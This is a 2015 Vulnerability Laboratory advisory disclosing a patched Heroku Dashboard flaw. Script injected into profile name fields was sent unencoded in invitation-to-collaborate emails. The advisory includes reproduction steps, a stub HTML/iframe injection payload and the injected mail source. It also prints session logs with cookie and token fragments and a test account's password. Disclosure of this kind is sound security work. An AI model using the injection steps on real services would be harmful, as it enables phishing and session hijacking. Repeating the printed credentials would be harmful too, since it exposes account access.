===============
Heroku API Bug Bounty #1 - Persistent Invitation Vulnerability
References (Source):
====================
http://www.vulnerability-lab.
Video: http://www.vulnerability-lab.
BugCrowd ID: e8a8ecb81b9bf115226ed2ff05937a
Acknowledgement (Hall of Fame): https://bugcrowd.com/heroku/
Vulnerability Magazine: http://magazine.vulnerability-
Release Date:
=============
2015-01-09
Vulnerability Laboratory ID (VL-ID):
==============================
1300
Common Vulnerability Scoring System:
==============================
4.1
Product & Service Introduction:
==============================
Heroku provides you with all the tools you need to iterate quickly, and adopt the right technologies for your project.
Build modern, maintainable apps and instantly extend them with functionality from hundreds of cloud services providers
without worrying about infrastructure. Build. Deploy. Scale. Heroku brings them together in an experience built and
designed for developers. Scale your application by moving a slider and upgrade your database in a few simple steps.
Whether your growth happens over the year or overnight, you can grow on demand to capture opportunity.
Heroku (pronounced her-OH-koo) is a cloud application platform – a new way of building and deploying web apps. Our service
lets app developers spend their time on their application code, not managing servers, deployment, ongoing operations, or scaling.
Heroku was founded in 2007 by Orion Henry, James Lindenbaum, and Adam Wiggins.
(Copy of the Vendor Homepage: https://www.heroku.com/home )
Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a persistent mail encoding web vulnerability has been discovered in the official Heroku Dashboard web-application (API).
Vulnerability Disclosure Timeline:
==============================
2014-08-26: Researcher Notification & Coordination (Benjamin Kunz Mejri)
2014-08-27: Vendor Notification (Heroku Security Team - Bug Bounty Program)
2014-12-03: Vendor Response/Feedback (Heroku Security Team - Bug Bounty Program)
2015-01-08: Vendor Fix/Patch Notification (Heroku Developer Team - Reward: Bug Bounty)
2015-01-09: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Heroku
Product: Heroku Dashboard - Web Application (API) 2014 Q3
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Technical Details & Description:
==============================
A persistent mail encoding web vulnerability has been discovered in the official Heroku Dashboard Web-Application (API).
The application-side issue allows remote attackers to compromise emails by injection of own malicious persistent context.
The heroku dashboard impact a vulnerability inside of the invite module. After the registration with a script code payload as first- &lastname.
The heroku online-service responds without secure encoded name value inside of the invitation mailing. The attacker went after the registration
to the following webpage (https://dashboard.heroku.com/
to collaborate request own malicious script codes. The request method to inject the code by registration inside of the app service is POST.
The exploitation takes place after the local attacker included another remote email to stream unauthorized malicious persistent context in
outgoing emails of the heroku online-service through an invitation to collaborate.
In the main emails of the registration the context of the database has been parsed in outgoing mail. The heroku dashboard access service does
not encode the database context on invitations to collaborate context which results in the successful exploitation of the application-side issue.
The bug typus has been declared as persistent mail encoding web vulnerability in the heroku webserver service in connection with the vulnerable
application module/function. The sender email is the main heroku reply address. The bug execution occurs in the api validation of the form that
allows to contact via invite other email contacts. In the Dashboard beta of heroku is the same bug in the same module/function available because
only the frontend has been changed during the update.
The security risk of the persistent mail encoding web vulnerability is estimated as medium with a cvss (common vulnerability scoring system)
count of 4.1. Exploitation of the persistent vulnerability in the `invitation to collaborate` module requires a low privileged heroku account
with low user interaction. Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent
redirect to external source and persistent manipulation of affected or connected module context.
Request Method(s):
[+] POST
Vulnerable Module(s):
[+] Heroku Dashboard > Apps > User[x] > Access
[+] Heroku Dashboard Beta > Apps > User[x] > Access
Vulnerable Function(s):
[+] Invitation to Collaborate
[+] Invitation
Affected Module(s):
[+] API
Proof of Concept (PoC):
=======================
The persistent mail encoding web vulnerability can be exploited by remote attackers with low privileged application user account and low user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.
Manual steps to reproduce the security vulnerability ...
1. Register an account with a script code payload in the first- & last-name input fields
2. Save the context and access the account
3. Register a new random app inside of the dasboard
4. Switch to the apps > access section in the regular dasboard or via beta template
5. Add any random email or heroku user account mail to the access rules and save the context
Note: A notification mail arrives at the new registered access user inbox
6. The payload executes ahead to the mail mail body context because of the registered payload inside of the user profile values
7. Successful reproduce of the persistent web vulnerability!
PenTest Account: bkm@evolution-sec.com
User Password: chaos666
PoC: Mail Header > Source
----==_mimepart_53fe30f6c9dbf_
Content-Type: text/plain;
charset=UTF-8
Content-Transfer-Encoding: 7bit
"><img src="x">%20%20>"<iframe src=a>%20<iframe>[PERSISTENT INJECTED SCRIPT CODE VIA INVITE TO COLLABORATE HERE!!!] (admin@evolution-sec.com) has invited
you to collaborate on their app "asdsad" on Heroku:http://asdsad.
Since you already have an account with Heroku, you can get started by simply git cloning the app repository:
PoC: Invite to Collaborate (noreply@heroku.com)
<td style="vertical-align: top; text-align: left; padding: 0;" align="left" valign="top">
<h1 id="logo" style="color: #6E5BAA; display: block; font-family: hybrea, proxima-nova, 'helvetica neue', helvetica,
arial, geneva, sans-serif; font-size: 32px; font-weight: 200; text-align: left; margin: 0 0 40px;" align="left">
<img src="http://heroku.newsletter.
<p style="margin: 20px 0;">"><img src="x">%20%20>"<iframe src="a">%20<iframe>[PERSISTENT INJECTED SCRIPT CODE VIA INVITE TO COLLABORATE HERE!!!] (admin@evolution-sec.com) has
invited you to collaborate on their app "<a href="http://asdsad.herokuapp.
<p style="margin: 20px 0;">Since you already have an account with Heroku, you can get started by simply git cloning the app repository:</p>
<blockquote style="border-radius: 5px; font-family: courier, monospace; background: #ebeaef; margin: 10px 0; border: 10px solid #ebeaef;">
<span class="shell" style="color: #6E5BAA;">$</span> git clone git@heroku.com:asdsad.git -o heroku
</blockquote>
<p style="margin: 20px 0;">See <a href="http://devcenter.heroku.
<p style="margin: 20px 0;">
The Heroku Team<br />
<a href="https://heroku.com" style="color: #6E5BAA;">https://heroku.com</
</p>
</td>
</tr>
</table>
</td>
</tr>
<tr style="vertical-align: top; padding: 0;">
<td class="
<table id="footerContent" style="border-spacing: 0; border-collapse: collapse; font-family: proxima-nova, 'helvetica neue',
helvetica, arial, geneva, sans-serif; height: 100%; width: 100%; border-top-style: solid; border-top-color: #ebeaef; color: #999999; font-size: 12px;
background: #ffffff; margin: 0; padding: 0; border-width: 1px 0 0;">
<tr style="vertical-align: top; padding: 0;">
<td valign="top" style="vertical-align: top; text-align: left; padding: 0;" align="left">
<p style="margin: 20px 0;">
Heroku is the cloud platform for rapid deployment and scaling of web applications. Get up and running in minutes, then deploy instantly via Git.
</p>
<p style="margin: 20px 0;">
To learn more about Heroku and all its features, check out the Dev Center: <a href="https://devcenter.
style="color: #666666;">https://devcenter.
</p>
</td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
</table>
</center>
<style type="text/css">
... ... ... ...
}
}
</style>
</body>
</html>
</body>
</html>
</iframe></p></td>
--- Poc Session Logs [POST] [Invite to Collaborate] (Notification API) ---
21:26:26.784[414ms][total 414ms] Status: 302[Found]
POST https://dashboard.heroku.com/
Request Header:
Host
[dashboard.heroku.com]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0]
Accept[text/html,application/
Accept-Language[de,en-US;q=0.
Accept-Encoding[gzip, deflate]
Referer[https://dashboard.
Cookie[_ga=GA1.2.1421671373.
__utmb=148535982.57.10.
optimizelySegments=%7B%
%22173444194%22%3A%22false%22%
optimizelyEndUserId=
mp_
initial_referrer%22%3A%20%
%2Fdynos%22%2C%22%24initial_
heroku_session=
MxOTU4MmRiZGFkNDE1BjsAVEkiC2lu
19be2343ca827f40ab20fc07e70932
user_session_secret=
lU0YkZoMVpHSktXbXBaTUZoTFVIZEx
Mk5IZERaMnczVlRoNE9FOTJWbE5WYl
TBSSGRvUlRGWFUxQm9NMnQzTDNwd2N
U2s1V2FtcHpXWHBqVXpsTU5FeDVlV1
5XVktZMG8xVlhKRE9Fc3diSFJCYW1F
VU5aVjJSeGEzRnlSbGRoVjBoMWIxZD
FeFQxTlFRamxUTVVkblJqZDRlRFpUZ
UkxWM2hRYzJkWFlpdHRWR2RqTlRFel
FWnpaQlVXMWFZVFZHV1RWaWJsUlpZa
NWNHRnFObkV5TjJkSldITm5jVlkxWj
abTF5V2pWemFuQnRUek5CYlRoT1prb
VTNsa1VXbFRVRmh6V1VFNGVXeGxTVz
XWmFTR3g1VTBWM1lraFROa1ZrVkhWc
elU0VTNkeFpXdDFOWFphTkZZdlZqUk
SSlVFWnhTMDlOZG1NclMwTndLekUwW
SldkejA5LS0yN2FiYTY5MmM1MmQxYj
dashboard_session_nonce=
_ga=GA1.3.1421671373.
__utma=155166509.1421671373.
__utmz=155166509.1409166827.1.
visitor_id36622=271240760; flash=%7B%7D]
Connection[keep-alive]
POST-Daten:
utf8[%E2%9C%93]
authenticity_token[
user%5Bemail%5D[bkm%40evolutio
commit
[Invite]
Response Header:
Cache-Control[no-cache, no-store, must-revalidate]
Content-Type[text/html; charset=utf-8]
Date[Wed, 27 Aug 2014 19:26:46 GMT]
Expires[0]
Location
[https://dashboard.heroku.com/
Pragma[no-cache]
Request-Id[63991fba-fbb1-492d-
Server[nginx/1.5.7]
Set-Cookie[flash=%7B%22notice%
+the+app+asdsad.%22%7D; domain=dashboard.heroku.com; path=/; secure]
status[302 Found]
Strict-Transport-Security[max-
X-Frame-Options[SAMEORIGIN]
X-Rack-Cache[invalidate, pass]
X-Request-Id
[63991fba-fbb1-492d-8b22-
x-runtime[0.230753]
x-ua-compatible[IE=Edge,
Transfer-Encoding[chunked]
Connection[keep-alive]
21:26:27.201[474ms][total 1293ms] Status: 200[OK]
GET https://dashboard.heroku.com/
Request
Header:
Host[dashboard.heroku.com]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0]
Accept[text/html,application/
Accept-Language[de,en-
US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Referer[https://dashboard.
Cookie[_ga=GA1.2.1421671373.
__utmb=148535982.57.10.
optimizelySegments=%7B%
%22173444194%22%3A%22false%22%
optimizelyEndUserId=
mp_
initial_referrer%22%3A%20%
%2Fdynos%22%2C%22%24initial_
heroku_session=
MxOTU4MmRiZGFkNDE1BjsAVEkiC2lu
19be2343ca827f40ab20fc07e70932
user_session_secret=
lU0YkZoMVpHSktXbXBaTUZoTFVIZEx
Mk5IZERaMnczVlRoNE9FOTJWbE5WYl
TBSSGRvUlRGWFUxQm9NMnQzTDNwd2N
U2s1V2FtcHpXWHBqVXpsTU5FeDVlV1
VktZMG8xVlhKRE9Fc3diSFJCYW1FeF
VU5aVjJSeGEzRnlSbGRoVjBoMWIxZD
eFQxTlFRamxUTVVkblJqZDRlRFpUZH
UkxWM2hRYzJkWFlpdHRWR2RqTlRFel
WnpaQlVXMWFZVFZHV1RWaWJsUlpZa3
NWNHRnFObkV5TjJkSldITm5jVlkxWj
TF5V2pWemFuQnRUek5CYlRoT1prbHF
VTNsa1VXbFRVRmh6V1VFNGVXeGxTVz
mFTR3g1VTBWM1lraFROa1ZrVkhWclR
elU0VTNkeFpXdDFOWFphTkZZdlZqUk
lVFWnhTMDlOZG1NclMwTndLekUwWmk
SldkejA5LS0yN2FiYTY5MmM1MmQxYj
dashboard_session_nonce=
_ga=GA1.3.1421671373.
__utma=155166509.1421671373.
__utmz=155166509.1409166827.1.
visitor_id36622=271240760; flash=%7B%22notice%22%3A%
Connection[keep-alive]
Response Header:
Cache-Control[must-revalidate, no-cache, no-store, private]
Content-Type[text/html; charset=utf-8]
Date[Wed, 27 Aug 2014 19:26:47 GMT]
Expires[0]
Pragma[no-cache]
Request-Id[843d1f47-560b-4a1d-
Server[nginx/1.5.7]
status[200 OK]
Strict-
Transport-Security[max-age=
X-Frame-Options[SAMEORIGIN]
X-Rack-Cache[miss]
X-Request-Id[843d1f47-560b-
x-runtime[0.287221]
x-ua-compatible[IE=Edge,
Content-Length
[13369]
Connection[keep-alive]
PoC: Invite via Dashboard Beta through Heroku API
<td style="vertical-align: top; text-align: left; padding: 0;" align="left" valign="top">
<h1 id="logo" style="color: #6E5BAA; display: block; font-family: hybrea, proxima-nova, 'helvetica neue',
helvetica, arial, geneva, sans-serif; font-size: 32px; font-weight: 200; text-align: left; margin: 0 0 40px;"
align="left"><img src="http://heroku.newsletter.
border: 0;" height="42" width="120"></h1><p style="margin:
20px 0;">"><img src="x">%20%20>"<iframe src="a">%20<iframe>[PERSISTENT INJECTED SCRIPT CODE VIA INVITE TO HEROKU HERE!!!] (admin@evolution-sec.com) has
invited you to collaborate on their app "<a href="http://asdsad.herokuapp.
<p style="margin: 20px 0;">Follow this link to get access:</p>
<p style="margin: 20px 0;"><a href="https://id.heroku.com/
style="color: #6E5BAA;">https://id.heroku.
<p style="margin: 20px 0;">Heroku is a cloud application platform – a new way of building and deploying web apps. Develop your app using your local tools,
then deploy via Git. After accepting the invitation, check out <a href="http://devcenter.heroku.
<p style="margin: 20px 0;">To learn more about deploying apps on Heroku, <a href="http://devcenter.heroku.
<p style="margin: 20px 0;">Have fun, and don't hesitate to contact us with your feedback.</p>
<p style="margin: 20px 0;">
The Heroku Team<br />
<a href="https://heroku.com" style="color: #6E5BAA;">https://heroku.com</
</p>
</td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
</table>
</center>
--- PoC Session Logs (Invite to Heroku via Beta Theme) [POST] (Notification API) ---
22:25:24.964[743ms][total 743ms] Status: 201[Created]
POST https://dashboard-next.heroku.
[application/json]
Request Header:
Host[dashboard-next.heroku.com
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0]
Accept[application/vnd.heroku+
Accept-
Language[de,en-US;q=0.7,en;q=
Accept-Encoding[gzip, deflate]
Content-Type[application/json; charset=UTF-8]
X-CSRF-Token[
X-Requested-With[
Referer
[https://dashboard-next.
Content-Length[41]
Cookie[_ga=GA1.2.1421671373.
__utmc=148535982; __utmz=148535982.1409170245.2.
optimizelySegments=%7B%
%22%2C%22221602555%22%3A%
optimizelyEndUserId=
%22distinct_id%22%3A%20%
initial_referrer%22%3A%20%
%20%22devcenter.heroku.com%22%
session=
Z09sewhk5I_
SizaiacWTAst7KBGtvMb5kUomoPk_
Dnd00DMZZoIN-
8zaGwyCfLj6Dre30FaMRo_spHe_
x_
__utmz=155690030.1409170304.2.
ref=lUfOxJR7MTq-
wrZ6tI3U09rIeKWnfQ2P0aBX2MTYoq
__utmb=155690030.29.10.
Connection[keep-alive]
Pragma[no-cache]
Cache-Control[no-cache]
POST-Daten:
{"user":"research@
Response Header:
Cache-Control[no-cache]
Content-Type[application/json;
Date[Wed, 27 Aug 2014
20:25:45 GMT]
Oauth-Scope[global]
Oauth-Scope-Accepted[global write-protected]
Ratelimit-Remaining[2399]
Request-Id[fb852b2b-8596-4199-
Server[nginx/1.4.7]
status[201 Created]
Strict-Transport-Security[max-
Vary[Accept-Encoding]
x-content-type-options[
X-Download-Options[noopen]
X-Frame-Options[DENY]
x-runtime[0.468937]
X-XSS-Protection[1; mode=block]
Content-Length[211]
Connection[keep-alive]
22:25:26.908[216ms][total 216ms] Status: 200[OK]
GET https://dashboard-next.heroku.
Request Header:
Host[dashboard-
next.heroku.com]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0]
Accept[application/vnd.heroku+
Accept-Language[de,en-US;q=0.
Accept-Encoding[gzip,
deflate]
Content-Type[application/json]
X-CSRF-Token[
X-Requested-With[
Referer[https://dashboard-
Cookie
[_ga=GA1.2.1421671373.
__utmc=148535982; __utmz=148535982.1409170245.2.
utmctr=(not%20provided); optimizelySegments=%7B%
false%22%2C%22221602555%22%3A%
%22%7D; optimizelyEndUserId=
%22%3A%20%222014-08-27%2019%
062d1b005a52%22%2C%22%
devcenter.heroku.com%22%7D; heroku_session=1; heroku_session_nonce=0ddb0d38-
4f65-82b4-19994d4222d3; session=
4kYO72VsPtkRKlt1fJ_
Z09sewhk5I_
S6D7VCQVUXUDpfHnw-
SizaiacWTAst7KBGtvMb5kUomoPk_
7lppQ8TfA-Dnd00DMZZoIN-
Pjd84Mntn2Ev7voqqrTjMr85hLCaX4
GwyCfLj6Dre30FaMRo_spHe_
HdOhfTXe5vNwdMa4O_Zc8h3LJXY_
__utma=155690030.1421671373.
__utmz=155690030.1409170304.2.
ref=lUfOxJR7MTq-
wrZ6tI3U09rIeKWnfQ2P0aBX2MTYoq
__utmb=155690030.29.10.
Connection[keep-alive]
Response Header:
Cache-Control[no-store, no-cache]
Content-Type[application/json]
Date[Wed, 27 Aug 2014 20:25:46 GMT]
Etag["223132457"]
Strict-Transport-Security[max-
x-content-type-options
[nosniff]
X-Download-Options[noopen]
X-Frame-Options[DENY]
X-XSS-Protection[1; mode=block]
Content-Length[2]
Connection[keep-alive]
Reference(s):
https://dashboard.heroku.com
https://devcenter.heroku.com
https://dashboard-next.heroku.
https://id.heroku.com/account/
https://dashboard.heroku.com/
https://dashboard-next.heroku.
https://dashboard-next.heroku.
https://dashboard-next.heroku.
Solution - Fix & Patch:
=======================
The persistent input validation web vulnerability can be patched by a secure parse and encode of the `first- & lastname` input values of the heroku profile.
Restrict the input fields on registration and disallow special char as name value input to prevent exploitation.
Filter and encode also the outgoing the `Invite to collaborate` and `Invite to heroku` mail context to prevent persistent script code execution, hijacking attacks or phishing attempts.
Security Risk:
==============
The security risk of the persistent mail encoding web vulnerability in the notification service (api) is estimated as medium. (CVSS 4.1)
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either
expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers
are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even
if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation
of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break
any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material.
Domains: www.vulnerability-lab.com - www.vuln-lab.com -www.evolution-sec.com
Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com
Section: dev.vulnerability-db.com - forum.vulnerability-db.com -magazine.vulnerability-db.com
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab -youtube.com/user/
Feeds: vulnerability-lab.com/rss/rss.
Programs: vulnerability-lab.com/submit.
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact
(admin@vulnerability-lab.com or research@vulnerability-lab.com
Copyright © 2015 | Vulnerability Laboratory [Evolution Security]
Komentarų nėra:
Rašyti komentarą